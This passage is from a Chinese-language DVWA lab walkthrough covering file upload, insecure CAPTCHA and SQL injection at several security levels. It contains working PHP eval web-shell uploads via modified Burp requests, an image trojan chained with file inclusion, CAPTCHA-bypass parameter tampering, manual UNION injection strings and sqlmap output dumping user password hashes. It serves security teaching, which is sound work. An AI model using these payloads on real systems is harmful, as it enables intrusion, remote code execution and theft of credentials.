        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}

?> 

对文件类型和文件大小进行了限制,只需要通过Burpsuite修改即可绕过限制上传木马文件,或者将一句话木马写到图片中也可以。

  1. Burpsuite修改(上传之后是php文件)

a. 修改type(上传的是php文件)

Host: 192.168.0.115
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Content-Type: multipart/form-data; boundary=---------------------------1687967939550
Content-Length: 447
Referer: http://192.168.0.115/dvwa/vulnerabilities/upload/
Cookie: security=medium; PHPSESSID=as94j6ostr2dnu3utbaeo264j7
Connection: close
Upgrade-Insecure-Requests: 1

-----------------------------1687967939550
Content-Disposition: form-data; name="MAX_FILE_SIZE"

100000
-----------------------------1687967939550
Content-Disposition: form-data; name="uploaded"; filename="hacktest1.php"
Content-Type: application/octet-stream                                 #改成image/jpeg

<?php
@eval($_POST['Jason']);
?>
-----------------------------1687967939550
Content-Disposition: form-data; name="Upload"

Upload
-----------------------------1687967939550--

sdgh.png-113.4kBsdgh.png-113.4kB

上传的是php文件,可以执行,用C刀连接成功。


b. 先将php文件改为png,再修改name后缀(上传的是php文件)

POST /dvwa/vulnerabilities/upload/ HTTP/1.1
Host: 192.168.0.115
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Content-Type: multipart/form-data; boundary=---------------------------2428151903981
Content-Length: 437
Referer: http://192.168.0.115/dvwa/vulnerabilities/upload/
Cookie: security=medium; PHPSESSID=as94j6ostr2dnu3utbaeo264j7
Connection: close
Upgrade-Insecure-Requests: 1

-----------------------------2428151903981
Content-Disposition: form-data; name="MAX_FILE_SIZE"

100000
-----------------------------2428151903981
Content-Disposition: form-data; name="uploaded"; filename="hacktest1.png"    #改为hacktest1.php
Content-Type: image/png

<?php
@eval($_POST['Jason']);
?>
-----------------------------2428151903981
Content-Disposition: form-data; name="Upload"

Upload
-----------------------------2428151903981--

用C刀连接成功。


2.图片木马(上传之后是png文件)
下面说的是上传png图片文件,需要通过文件包含漏洞来执行上传的文件,而不能直接通过C刀直接连接,C刀直接连接不能将png文件解析成php文件,所以要用文件包含漏洞来执行文件里的命令,产生一个php文件供C刀连接。

利用edjpgcom将一句话木马写到图片里:意思是在当前路径生成一个hack.php文件,内容为一句话木马。
<?php fputs(fopen('hack.php','w'),'<?php @eval($_POST["hack"]);?>');?>

上传成功后,利用文件包含漏洞执行上传的文件,从而在当前路径产生一个hack.php文件:

Screenshot-2018-3-13 Vulnerability File Upload Damn Vulnerable Web Application (DVWA) v1 10 Development (1).png-28kBScreenshot-2018-3-13 Vulnerability File Upload Damn Vulnerable Web Application (DVWA) v1 10 Development (1).png-28kB
文件包含:
http://192.168.0.115/dvwa/vulnerabilities/fi/?page=hhttp://ttp://192.168.0.115/dvwa/hackable/uploads/hacktest.png
C刀连接:http://192.168.0.115/dvwa/vulnerabilities/fi/hack.php
hsfgh.png-58.5kBhsfgh.png-58.5kB
  1. 00截断
    filename="hack1.php" 在后面添加00。
    修改Content-Type: application/octet-stream为image/png
    asgafg.png-104.2kBasgafg.png-104.2kB

6.3 High

代码:

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
    $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];

    // Is it an image?
    if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&                 #文件名后缀必须是jpg,png,jpeg
        ( $uploaded_size < 100000 ) &&
        getimagesize( $uploaded_tmp ) ) {    
        #getimagesize() 函数用于获取图像大小及相关信息,所以必须上传图片木马

        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }
        else {
            // Yes!
            echo "<pre>{$target_path} succesfully uploaded!</pre>";
        }
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}

?> 

文件上传+文件包含:

  1. 上传木马图片 <?php fputs(fopen('hack.php','w'),'<?php @eval($_POST["hack"]);?>');?>
  2. 文件包含:
    http://192.168.0.115/dvwa/vulnerabilities/fi/?page=file:///C:/wamp/www/dvwa/hackable/uploads/hacktest.png
  3. C刀连接:http://192.168.0.115/dvwa/vulnerabilities/fi/hack.php

6.4 Impossible

代码:


<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
#CSRF防护

    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
    $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
    $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];

    // Where are we going to be writing to?
    $target_path   = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';
    //$target_file   = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';
    $target_file   =  md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext; #对文件名加密,使得00截断无法绕过
    $temp_file     = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
    $temp_file    .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;

    // Is it an image?
    if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&
        ( $uploaded_size < 100000 ) &&
        ( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
        getimagesize( $uploaded_tmp ) ) {

        // Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)
        if( $uploaded_type == 'image/jpeg' ) {
            $img = imagecreatefromjpeg( $uploaded_tmp );   #返回一图像标识符
            imagejpeg( $img, $temp_file, 100);
        }
        else {
            $img = imagecreatefrompng( $uploaded_tmp );   #imagecreatefrompng() 返回一图像标识符,代表了从给定的文件名取得的图像
            imagepng( $img, $temp_file, 9);
        }
        imagedestroy( $img );

        // Can we move the file to the web root from the temp folder?
        if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {
            // Yes!
            echo "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>";
        }
        else {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }

        // Delete any temp files
        if( file_exists( $temp_file ) )
            unlink( $temp_file );
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?> 
  1. Impossible级别对文件名做加密,防止00截断绕过;
  2. 加入了token的验证,防止CSRF攻击;
  3. 加入了图像内容的识别,防止含有恶意脚本的文件上传。

7. Insecure CAPTCHA()

7.1 Low

代码:

<?php

if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) {
    // Hide the CAPTCHA form
    $hide_form = true;

    // Get input
    $pass_new  = $_POST[ 'password_new' ];
    $pass_conf = $_POST[ 'password_conf' ];

    // Check CAPTCHA from 3rd party
    $resp = recaptcha_check_answer( $_DVWA[ 'recaptcha_private_key' ],
        $_SERVER[ 'REMOTE_ADDR' ],
        $_POST[ 'recaptcha_challenge_field' ],
        $_POST[ 'recaptcha_response_field' ] );

    // Did the CAPTCHA fail?
    if( !$resp->is_valid ) {
        // What happens when the CAPTCHA was entered incorrectly
        $html     .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
        $hide_form = false;
        return;
    }
    else {
        // CAPTCHA was correct. Do both new passwords match?
        if( $pass_new == $pass_conf ) {
            // Show next stage for the user
            echo "
                <pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre>
                <form action=\"#\" method=\"POST\">
                    <input type=\"hidden\" name=\"step\" value=\"2\" />
                    <input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" />
                    <input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" />
                    <input type=\"submit\" name=\"Change\" value=\"Change\" />
                </form>";
        }
        else {
            // Both new passwords do not match.
            $html     .= "<pre>Both passwords must match.</pre>";
            $hide_form = false;
        }
    }
}

if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {
    // Hide the CAPTCHA form
    $hide_form = true;

    // Get input
    $pass_new  = $_POST[ 'password_new' ];
    $pass_conf = $_POST[ 'password_conf' ];

    // Check to see if both password match
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );

        // Update database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

        // Feedback for the end user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with the passwords matching
        echo "<pre>Passwords did not match.</pre>";
        $hide_form = false;
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

有逻辑漏洞,当step=1,通过recaptcha_check_answer请求验证验证码的正确性,当我们用Burpsuite修改step=2可以直接绕过验证码验证。

k.png-130.1kBk.png-130.1kB

7.2 Medium

代码:

<?php

if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) {
    // Hide the CAPTCHA form
    $hide_form = true;

    // Get input
    $pass_new  = $_POST[ 'password_new' ];
    $pass_conf = $_POST[ 'password_conf' ];

    // Check CAPTCHA from 3rd party
    $resp = recaptcha_check_answer( $_DVWA[ 'recaptcha_private_key' ],
        $_SERVER[ 'REMOTE_ADDR' ],
        $_POST[ 'recaptcha_challenge_field' ],
        $_POST[ 'recaptcha_response_field' ] );

    // Did the CAPTCHA fail?
    if( !$resp->is_valid ) {
        // What happens when the CAPTCHA was entered incorrectly
        $html     .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
        $hide_form = false;
        return;
    }
    else {
        // CAPTCHA was correct. Do both new passwords match?
        if( $pass_new == $pass_conf ) {
            // Show next stage for the user
            echo "
                <pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre>
                <form action=\"#\" method=\"POST\">
                    <input type=\"hidden\" name=\"step\" value=\"2\" />
                    <input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" />
                    <input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" />
                    <input type=\"hidden\" name=\"passed_captcha\" value=\"true\" />
                    <input type=\"submit\" name=\"Change\" value=\"Change\" />
                </form>";
        }
        else {
            // Both new passwords do not match.
            $html     .= "<pre>Both passwords must match.</pre>";
            $hide_form = false;
        }
    }
}

if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {
    // Hide the CAPTCHA form
    $hide_form = true;

    // Get input
    $pass_new  = $_POST[ 'password_new' ];
    $pass_conf = $_POST[ 'password_conf' ];

    // Check to see if they did stage 1
    if( !$_POST[ 'passed_captcha' ] ) {
        $html     .= "<pre><br />You have not passed the CAPTCHA.</pre>";
        $hide_form = false;
        return;
    }

    // Check to see if both password match
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );

        // Update database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

        // Feedback for the end user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with the passwords matching
        echo "<pre>Passwords did not match.</pre>";
        $hide_form = false;
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?> 

要验证$_POST[ 'passed_captcha' ]为真,抓包添加参数即可:

gll.png-108.4kBgll.png-108.4kB

7.3 High

代码:

 <?php

if( isset( $_POST[ 'Change' ] ) ) {
    // Hide the CAPTCHA form
    $hide_form = true;

    // Get input
    $pass_new  = $_POST[ 'password_new' ];
    $pass_conf = $_POST[ 'password_conf' ];

    // Check CAPTCHA from 3rd party
    $resp = recaptcha_check_answer( $_DVWA[ 'recaptcha_private_key' ],
        $_SERVER[ 'REMOTE_ADDR' ],
        $_POST[ 'recaptcha_challenge_field' ],
        $_POST[ 'recaptcha_response_field' ] );

    // Did the CAPTCHA fail?
    if( !$resp->is_valid && ( $_POST[ 'recaptcha_response_field' ] != 'hidd3n_valu3' || $_SERVER[ 'HTTP_USER_AGENT' ] != 'reCAPTCHA' ) ) {
    #post的['recaptcha_response_field'] 要等于 'hidd3n_valu3,并且useragent等于reCAPTCHA
        // What happens when the CAPTCHA was entered incorrectly
        $html     .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
        $hide_form = false;
        return;
    }
    else {
        // CAPTCHA was correct. Do both new passwords match?
        if( $pass_new == $pass_conf ) {
            $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
            $pass_new = md5( $pass_new );

            // Update database
            $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "' LIMIT 1;";
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

            // Feedback for user
            echo "<pre>Password Changed.</pre>";
        }
        else {
            // Ops. Password mismatch
            $html     .= "<pre>Both passwords must match.</pre>";
            $hide_form = false;
        }
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

// Generate Anti-CSRF token
generateSessionToken();

?>



通过抓包修改post的recaptcha_response_field=hidd3n_valu3,并且修改 User-Agent为reCAPTCHA

k;j.png-147.1kBk;j.png-147.1kB

7.4 Impossible

代码:

<?php

if( isset( $_POST[ 'Change' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Hide the CAPTCHA form
    $hide_form = true;

    // Get input
    $pass_new  = $_POST[ 'password_new' ];
    $pass_new  = stripslashes( $pass_new );
    $pass_new  = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass_new  = md5( $pass_new );

    $pass_conf = $_POST[ 'password_conf' ];
    $pass_conf = stripslashes( $pass_conf );
    $pass_conf = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_conf ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass_conf = md5( $pass_conf );

    $pass_curr = $_POST[ 'password_current' ];
    $pass_curr = stripslashes( $pass_curr );
    $pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass_curr = md5( $pass_curr );

    // Check CAPTCHA from 3rd party
    $resp = recaptcha_check_answer( $_DVWA[ 'recaptcha_private_key' ],
        $_SERVER[ 'REMOTE_ADDR' ],
        $_POST[ 'recaptcha_challenge_field' ],
        $_POST[ 'recaptcha_response_field' ] );

    // Did the CAPTCHA fail?
    if( !$resp->is_valid ) {
        // What happens when the CAPTCHA was entered incorrectly
        echo "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
        $hide_form = false;
        return;
    }
    else {
        // Check that the current password is correct
        $data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
        $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
        $data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
        $data->execute();

        // Do both new password match and was the current password correct?
        if( ( $pass_new == $pass_conf) && ( $data->rowCount() == 1 ) ) {
            // Update the database
            $data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
            $data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
            $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
            $data->execute();

            // Feedback for the end user - success!
            echo "<pre>Password Changed.</pre>";
        }
        else {
            // Feedback for the end user - failed!
            echo "<pre>Either your current password is incorrect or the new passwords did not match.<br />Please try again.</pre>";
            $hide_form = false;
        }
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?> 
  1. 验证过程不再分为两个步骤了;
  2. 需要输入之前的密码,加强了防范;
  3. PDO技术防止sql注入;
  4. token验证防止CSRF攻击

8. SQL Injection(SQL注入)

SQL注入指的是攻击者通过注入恶意的sql语句,破坏sql查询语句的结构,绕过web服务器的检测,执行恶意的sql命令,最后拿到数据库里面的内容。



1.判断是否存在注入点,字符型/数字型
2.判断字段数order by
3.判断显示的字段select 1,2,3
4.查询数据库
5.查询表
6.查询字段
7.拖库


8.1 Low

代码:

<?php

if( isset( $_REQUEST[ 'Submit' ] ) ) {
    // Get input
    $id = $_REQUEST[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Get values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

    mysqli_close($GLOBALS["___mysqli_ston"]);
}

?> 

对id没有进行过滤,而且是字符型注入。
sqlmap注入:

root@kali:~# sqlmap -u "http://192.168.0.115/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie='security=low; PHPSESSID=as94j6ostr2dnu3utbaeo264j7' -D dvwa -T users  --dump
        ___
       __H__
 ___ ___[,]_____ ___ ___  {1.1.11#stable}
|_ -| . [)]     | .'| . |
|___|_  ["]_|_|_|__,|  _|
      |_|V          |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 00:22:11

[00:22:11] [INFO] resuming back-end DBMS 'mysql' 
[00:22:11] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment) (NOT)
    Payload: Submit=Submit&id=1' OR NOT 6456=6456#

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: Submit=Submit&id=1' AND (SELECT 6049 FROM(SELECT COUNT(*),CONCAT(0x7176716271,(SELECT (ELT(6049=6049,1))),0x7170717171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- afyt

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: Submit=Submit&id=1' AND SLEEP(5)-- luAN

    Type: UNION query
    Title: MySQL UNION query (NULL) - 2 columns
    Payload: Submit=Submit&id=1' UNION ALL SELECT CONCAT(0x7176716271,0x63487a687a41724c63487755616975634a4f436b7057705772615477544856585a4c4859654d6766,0x7170717171),NULL#
---
[00:22:11] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: Apache 2.4.9, PHP 5.5.12
back-end DBMS: MySQL >= 5.0
[00:22:11] [INFO] fetching columns for table 'users' in database 'dvwa'
[00:22:11] [INFO] fetching entries for table 'users' in database 'dvwa'
[00:22:11] [INFO] recognized possible password hashes in column 'password'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] 
do you want to crack them via a dictionary-based attack? [Y/n/q] 
[00:22:12] [INFO] using hash method 'md5_generic_passwd'
[00:22:12] [INFO] resuming password 'password' for hash '5f4dcc3b5aa765d61d8327deb882cf99'
[00:22:12] [INFO] resuming password 'charley' for hash '8d3533d75ae2c3966d7e0d4fcc69216b'
[00:22:12] [INFO] resuming password 'letmein' for hash '0d107d09f5bbe40cade3de5c71e9e9b7'
[00:22:12] [INFO] resuming password 'admin' for hash '21232f297a57a5a743894a0e4a801fc3'
[00:22:12] [INFO] resuming password 'abc123' for hash 'e99a18c428cb38d5f260853678922e03'
Database: dvwa
Table: users
[5 entries]
+---------+--------------------------------------------------+---------+---------------------------------------------+-----------+------------+---------------------+--------------+
| user_id | avatar                                           | user    | password                                    | last_name | first_name | last_login          | failed_login |
+---------+--------------------------------------------------+---------+---------------------------------------------+-----------+------------+---------------------+--------------+
| 1       | http://127.0.0.1/dvwa/hackable/users/admin.jpg   | admin   | 21232f297a57a5a743894a0e4a801fc3 (admin)    | admin     | admin      | 2018-03-13 10:53:08 | 0            |
| 2       | http://127.0.0.1/dvwa/hackable/users/gordonb.jpg | gordonb | e99a18c428cb38d5f260853678922e03 (abc123)   | Brown     | Gordon     | 2018-03-08 22:33:32 | 0            |
| 3       | http://127.0.0.1/dvwa/hackable/users/1337.jpg    | 1337    | 8d3533d75ae2c3966d7e0d4fcc69216b (charley)  | Me        | Hack       | 2018-03-08 22:33:32 | 0            |
| 4       | http://127.0.0.1/dvwa/hackable/users/pablo.jpg   | pablo   | 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein)  | Picasso   | Pablo      | 2018-03-08 22:33:32 | 0            |
| 5       | http://127.0.0.1/dvwa/hackable/users/smithy.jpg  | smithy  | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | Smith     | Bob        | 2018-03-08 22:33:32 | 0            |
+---------+--------------------------------------------------+---------+---------------------------------------------+-----------+------------+---------------------+--------------+

[00:22:12] [INFO] table 'dvwa.users' dumped to CSV file '/root/.sqlmap/output/192.168.0.115/dump/dvwa/users.csv'
[00:22:12] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.0.115'

[*] shutting down at 00:22:12

手工注入:

1' and 1=1 -- - 
1' and 1=2 -- -
1' order by 2 -- -
1' union select 1,2 -- - 
1' union select database(),2 -- - 
1' union select table_name,2 from information_schema.tables where table_schema=database() -- - 
1' union select group_concat(column_name),2 from information_schema.columns where table_schema=database() and table_name='users' -- -
1' union select concat_ws(0x7c,user_id,user,password),2 from users -- -

8.2 Medium

代码:

<?php

if( isset( $_POST[ 'Submit' ] ) ) {
    // Get input
    $id = $_POST[ 'id' ];

    $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id); #mysql_real_escape_string函数对特殊符号\x00,\n,\r,\,’,”,\x1a进行转义

    $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Display values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

}

// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query  = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];

mysqli_close($GLOBALS["___mysqli_ston"]);
?> 

对id进行了转义,不能出现单引号,但是是数字型注入。页面采用了下拉选择表单,我们需要通过Burpsuite来修改参数:


Screenshot-2018-3-14 Vulnerability SQL Injection Damn Vulnerable Web Application (DVWA) v1 10 Development .png-32.9kBScreenshot-2018-3-14 Vulnerability SQL Injection Damn Vulnerable Web Application (DVWA) v1 10 Development .png-32.9kB

手工注入:


tyeww.png-132.5kBtyeww.png-132.5kB
1 and 1=1 -- -
1 and 1=2 -- -
1 order by 2 -- -
1 union select 1,2 -- - 
1 union select database(),2 -- - 
1 union select table_name,2 from information_schema.tables where table_schema=database() -- - 
1 union select group_concat(column_name),2 from information_schema.columns where table_schema=database() and table_name='users' -- -  #单引号被转义了,不行
1 union select group_concat(column_name),2 from information_schema.columns where table_schema=database() and table_name=0x7573657273 -- -   #采用十六进制绕过
1 union select concat_ws(0x7c,user_id,user,password),2 from users -- -

sqlmap注入:

root@kali:~# sqlmap -u http://192.168.0.115/dvwa/vulnerabilities/sqli/#  --data='id=1&Submit=Submit' --cookie='security=medium; PHPSESSID=as94j6ostr2dnu3utbaeo264j7' -D dvwa -T users  --dump
        ___
       __H__
 ___ ___[,]_____ ___ ___  {1.1.11#stable}
|_ -| . [.]     | .'| . |
|___|_  ["]_|_|_|__,|  _|
      |_|V          |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 23:56:15

[23:56:15] [INFO] resuming back-end DBMS 'mysql' 
[23:56:15] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment) (NOT)
    Payload: id=1 OR NOT 4916=4916#&Submit=Submit

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: id=1 AND (SELECT 4992 FROM(SELECT COUNT(*),CONCAT(0x7176716271,(SELECT (ELT(4992=4992,1))),0x7170717171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)&Submit=Submit

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: id=1 AND SLEEP(5)&Submit=Submit

    Type: UNION query
    Title: Generic UNION query (NULL) - 2 columns
    Payload: id=1 UNION ALL SELECT CONCAT(0x7176716271,0x516d75706e584d6f5564616b485969647a6b72586a6a646446486e5470514e66596b49566c4e4570,0x7170717171),NULL-- qzzF&Submit=Submit
---
[23:56:15] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: Apache 2.4.9, PHP 5.5.12
back-end DBMS: MySQL >= 5.0
[23:56:15] [INFO] fetching columns for table 'users' in database 'dvwa'
[23:56:15] [INFO] fetching entries for table 'users' in database 'dvwa'
[23:56:15] [INFO] recognized possible password hashes in column 'password'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] 
do you want to crack them via a dictionary-based attack? [Y/n/q] 
[23:56:16] [INFO] using hash method 'md5_generic_passwd'
[23:56:16] [INFO] resuming password 'password' for hash '5f4dcc3b5aa765d61d8327deb882cf99'
[23:56:16] [INFO] resuming password 'charley' for hash '8d3533d75ae2c3966d7e0d4fcc69216b'
